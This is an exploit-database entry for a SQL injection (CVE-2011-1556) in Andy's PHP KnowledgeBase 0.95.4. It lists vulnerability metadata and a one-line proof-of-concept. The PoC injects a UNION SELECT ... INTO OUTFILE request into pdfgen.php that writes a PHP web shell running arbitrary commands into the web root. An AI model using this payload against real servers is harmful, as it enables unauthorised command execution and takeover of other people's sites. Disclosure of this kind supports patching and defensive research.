[] NeoSense

Andy's PHP KnowledgeBase 0.95.4 - SQL Injection

Author: AutoSec Tools
type: webapps
platform: php
port: 
date_added: 2011-03-29 
date_updated: 2017-01-06 
verified: 1 
codes: CVE-2011-1556;OSVDB-71287 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comaphpkb-0.95.4.zip

------------------------------------------------------------------------
Software................Andy's PHP Knowledgebase Project 0.95.4
Vulnerability...........SQL Injection
Threat Level............Critical (4/5)
Download................http://www.aphpkb.org/
Discovery Date..........3/27/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A SQL injection vulnerability can be used to extract arbitrary data.
In some environments it may be possible to create a PHP shell.


--PoC--

localhost/aphpkb/plugins/pdfClasses/pdfgen.php?pdfa='and%201=0%20UNION%20SELECT%20'<?php%20system($_GET["CMD"]);%20?>',''%20FROM%20dual%20INTO%20OUTFILE%20'../../htdocs/shell.php';%23